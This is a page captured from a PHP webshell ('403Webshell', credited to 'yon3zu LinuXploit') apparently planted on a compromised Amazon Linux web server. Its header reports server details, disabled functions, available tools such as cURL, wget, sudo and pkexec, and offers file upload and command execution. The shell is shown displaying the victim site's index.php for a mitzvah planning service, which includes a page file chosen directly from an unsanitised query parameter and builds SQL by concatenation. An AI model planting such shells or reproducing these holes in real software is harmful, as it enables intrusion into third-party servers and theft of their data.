403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/index.php
<?php 
	require_once('mod/_sanitize.php');
	include('mod/_header.php');
	//ini_set('session.use_cookies', 1);
	/*
	*/
	if (session_id() == '')
	{
		$_SESSION['logged_in'] = 0;
		$_SESSION['roles'] = '';
	}
	$ix = $_GET['IX'];
	/*
	*/
	if (trim($ix) == '')
	{
		if ($_SESSION['logged_in'] == 1)
			$ix = 'home';
		else
			$ix = 'login';
	}
	/*
	$_REQUEST = strip_tags($_REQUEST);
	$_POST = strip_tags($_POST);
	$_GET = strip_tags($_GET);
	*/
	//var_dump($_GET);
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<?php
		if ((isset($_SERVER['HTTP_X_MOZ'])) && ($_SERVER['HTTP_X_MOZ'] == 'prefetch')) :
			// This is a prefetch request. Block it.
			header('HTTP/1.0 403 Forbidden');
			echo '403: Forbidden<br><br>Prefetching not allowed here.';
			die();
		endif;	
	?>
	<!--<link type="text/css" href="css/south-street/jquery-ui-1.8.1.custom.css" rel="stylesheet" />-->
	<link rel="shortcut icon" href="favicon.ico" />
	<link rel="stylesheet" href="css/jquery-ui-1.10.3.custom.min.css?ver=<?php echo filemtime(__DIR__.'/css/jquery-ui-1.10.3.custom.min.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/main.css?ver=<?php echo filemtime(__DIR__.'/css/main.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/main_mobile.css?ver=<?php echo filemtime(__DIR__.'/css/main_mobile.css') ?>" type="text/css" />
	<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lora:700|Merriweather|Montserrat:500">
	<link rel="stylesheet" href="css/datePicker.css?ver=<?php echo filemtime(__DIR__.'/css/datePicker.css') ?>" type="text/css" />
    <link href="https://fonts.googleapis.com/css?family=Titillium+Web:400,400italic,700,700italic,200,200italic" rel="stylesheet" type="text/css" />
    <link href="https://fonts.googleapis.com/css?family=Alex+Brush" rel="stylesheet" type="text/css" />
    <link href="https://fonts.googleapis.com/css?family=Marcellus" rel="stylesheet" type="text/css" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name=viewport content="width=device-width, initial-scale=1">
	<meta http-equiv="cache-control" content="no-cache" />
	<meta http-equiv="pragma" content="no-cache" />
	<meta name="description" content="<?php echo get_text('seo_description'); ?>" />
	<meta name="keywords" content="<?php echo get_text('seo_keywords'); ?>" />
	<title><?php echo get_text('seo_title'); ?></title>
	
	<!--<link type="text/css" href="css/custom-theme/jquery-ui-1.8.16.custom.css" rel="stylesheet" />-->	
	<script type="text/javascript" src="js/jquery-1.7.1.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery-1.7.1.min.js') ?>"></script>
	<!--<script type="text/javascript" src="DataTables-1.9.4/media/js/jquery.js"></script>-->
	<!--<script type="text/javascript" src="js/jquery-ui-1.8.16.custom.min.js"></script>-->
	<script type="text/javascript" src="js/jquery.form.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.form.js') ?>"></script>
	<script type="text/javascript" src="js/jquery-ui-1.10.3.custom.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery-ui-1.10.3.custom.min.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.ui.touch-punch.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.ui.touch-punch.min.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.visible.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.visible.min.js') ?>"></script>
	<script type="text/javascript" src="DataTables-1.9.4/media/js/jquery.dataTables.min.js?ver=<?php echo filemtime(__DIR__.'/DataTables-1.9.4/media/js/jquery.dataTables.min.js') ?>"></script>
	<script type="text/javascript" src="js/index.js?ver=<?php echo filemtime(__DIR__.'/js/index.js') ?>"></script>
	<script type="text/javascript" src="js/md5.js?ver=<?php echo filemtime(__DIR__.'/js/md5.js') ?>"></script>
	<script type="text/javascript" src="js/date.js?ver=<?php echo filemtime(__DIR__.'/js/date.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.datePicker.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.datePicker.js') ?>"></script>
	<script type="text/javascript" src="js/cryptojs/rollups/sha512.js?ver=<?php echo filemtime(__DIR__.'/js/cryptojs/rollups/sha512.js') ?>"></script>
	<?php
		if (!empty($_SESSION['logged_in'])) :
			$_SESSION['timeout'] = time() + $app_timeout;
			echo '<SCRIPT>';
			echo '  var logout_timer = window.setTimeout("logoutRedirect()",30000);';
			echo "var print_header = '".nl_remove(get_text('print_header'))."<br />';";
			echo "var print_footer = '<br />".get_text('print_footer')."';";
			echo "var pdf_header = '".nl_remove(get_text('pdf_header'))."<br />';";
			echo '</SCRIPT>';
		endif;
	?>
</head>

<body onBeforeUnload="return check_dirty()">
	<div class="main">
		<?php include('mod/_pagetop.php'); ?>
		<div class="cleardiv" style="font-size:5px;">
			&nbsp;
		</div>
		<div class="content">
			<?php 
				$authorized_call = 1; 
				//echo "IX=".$ix; 
				include('mod/'.$ix.'.php'); 
			?>
		</div>
		<div class="cleardiv">
			&nbsp;
		</div>
		<div class="main_footer">
			<div class="footer_links">
				<a class="bottomnav" href="index.php?IX=home">Home</a>&bull;
				<a class="bottomnav" href="javascript:window_popup('terms_window','about');">About</a>&bull;
				<a class="bottomnav" href="javascript:window_popup('terms_window','press');">Press</a>&bull;
				<a class="bottomnav" href="javascript:window_popup('terms_window','terms_of_use');">Terms of Use</a>&bull;
				<a class="bottomnav" href="javascript:window_popup('terms_window','privacy_policy');">Privacy Policy</a>&bull;
				<?php /* <a class="bottomnav" href="javascript:window_popup('terms_window','help');">Help</a>&bull;  */ ?>
				<a class="bottomnav" href="index.php?IX=help">Help</a>&bull;
				<a class="bottomnav" href="index.php?IX=faq">F.A.Q.</a>&bull;
				<a class="bottomnav" href="index.php?IX=contact_form">Contact Us</a>
			</div>
			<div class="footer_text">
				&copy; <?php echo date("Y"); ?>&nbsp; <a href="<?php echo $app_base; ?>" title="MitzvahMarket">MitzvahOrganizer.com</a>. &nbsp;All rights reserved. 
				&nbsp;&nbsp;MitzvahOrganizer.com is a <a target="_blank" href="http://www.davlermedia.com">Davler Media Group</a> Property.
				&nbsp;&nbsp;Developed by <a href="http://www.latcomsystems.com" target="_blank" >LatCom Systems</a>.<br />
				<a target="_blank" href="http://www.davlermedia.com">Davler Media Group LLC</a>&nbsp;&nbsp; &bull; &nbsp;&nbsp;1501 Broadway, 12th Floor&nbsp;&nbsp; &bull; &nbsp;&nbsp;New York, NY 10036
			</div>
		</div>
	</div>
	<div class="spacer">
	</div>
	<!--<div class="window" id="terms_window" style=" position:fixed; left:50%; margin-left:-480px; top:50px; bottom:50px; width:100%; max-width:960px; background-color:#f3f3f3;">-->
	<div class="window" id="terms_window" style="">
		<div class="terms_title" id="terms_title">
		</div>
		<div class="terms_content" id="terms_content">
			<div style="text-align:center; padding-top:100px;">
				<img src="img/loading.gif" />
			</div>
		</div>
		<img src="img/close_icon.png" style=" position:absolute; top:10px; right:10px; cursor:pointer; width:20px; height:20px;" onclick="window_close();" />
	</div>
	<div id="mask" class="mask" onclick="window_close();">
	</div>
	<?php
		//*********** Google Conversion Code - only if NOT logged in and only for production site signup page *********************
		if ($_SESSION['logged_in'] == true) :
		else :
			if (strtolower($_SERVER['SERVER_NAME']) == 'mitzvahorganizer.com' || strtolower($_SERVER['SERVER_NAME']) == 'www.mitzvahorganizer.com') :
				if ($_GET['IX'] == 'signup_form') :
	?>
					<!-- Google Code for Mitzvah Organizer Purchases Conversion Page -->
					<script type="text/javascript">
					/* <![CDATA[ */
					var google_conversion_id = 954394476;
					var google_conversion_language = "en";
					var google_conversion_format = "2";
					var google_conversion_color = "ffffff";
					var google_conversion_label = "dC-PCPCH1VkQ7M6LxwM";
					var google_remarketing_only = false;
					/* ]]> */
					</script>
					<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
					</script>
					<noscript>
					<div style="display:inline;">
					<img height="1" width="1" style="border-style:none;" alt="" src="//www.googleadservices.com/pagead/conversion/954394476/?label=dC-PCPCH1VkQ7M6LxwM&amp;guid=ON&amp;script=0"/>
					</div>
					</noscript>
	<?php
				endif;
			endif;
		endif;
	?>
	<?php
		//*********** Mouseflow Code - only if NOT logged in and only for production site *********************
		/*
		if ($_SESSION['logged_in'] == true) :
		else :
			if (strtolower($_SERVER['SERVER_NAME']) == 'mitzvahorganizer.com' || strtolower($_SERVER['SERVER_NAME']) == 'www.mitzvahorganizer.com') :
				if ($_GET['IX'] != 'signup_form' && $_GET['IX'] != 'upgrade' && $_GET['IX'] != 'pwd_reset') :
	?>
					<script type="text/javascript">
						var mouseflowDisableKeyLogging = true;
						var _mfq = _mfq || [];
						(function () {
						var mf = document.createElement("script"); mf.type = "text/javascript"; mf.async = true;
						mf.src = "//cdn.mouseflow.com/projects/1440d3bf-61bd-4c45-a717-9f40b56365b8.js";
						document.getElementsByTagName("head")[0].appendChild(mf);
					  })();
					</script>
	<?php
				endif;
			endif;
		endif;
		*/
	?>
</body>
<?php
	if ($_SESSION['logged_in'] == 1 && !empty($_SESSION['active_event'])) :
		if (empty($_SESSION['followup'])) :
			$sql_followup = "SELECT id FROM notes WHERE followup_date <= NOW() AND followup_complete = 0 AND user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event'];
			$result_followup = mysqli_query($GLOBALS['con'], $sql_followup) or die('Database error!');
			$_SESSION['followup'] = 'Done';
			//echo "===".$sql_followup."=== num rows: ".mysqli_num_rows($result_followup)." ===";
			if (mysqli_num_rows($result_followup) > 0) :
?>
				<SCRIPT>
					var r=confirm("You have follow-up actions - would you like to see your Notes?");
					if (r==true)
					{
						window.location.href = 'index.php?IX=notes';
					}
				</SCRIPT>
<?php			
			endif;
		endif;
	endif;
	if ($con)
		mysqli_close($GLOBALS['con']);
	//*********** Google Analytics Code - only if NOT logged in and only for production site *********************
	if ($_SESSION['logged_in'] == true) :
	else :
		//var_dump($_SERVER);
		if (strtolower($_SERVER['SERVER_NAME']) == 'mitzvahorganizer.com' || strtolower($_SERVER['SERVER_NAME']) == 'www.mitzvahorganizer.com') :
?>
			<script>
				(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
				(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
				m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
				})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
				
				ga('create', 'UA-642804-14', 'mitzvahorganizer.com');
				ga('send', 'pageview');
			</script>
<?php
		endif;
	endif;
	//***********************************************************************************************************
	session_write_close();
?>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit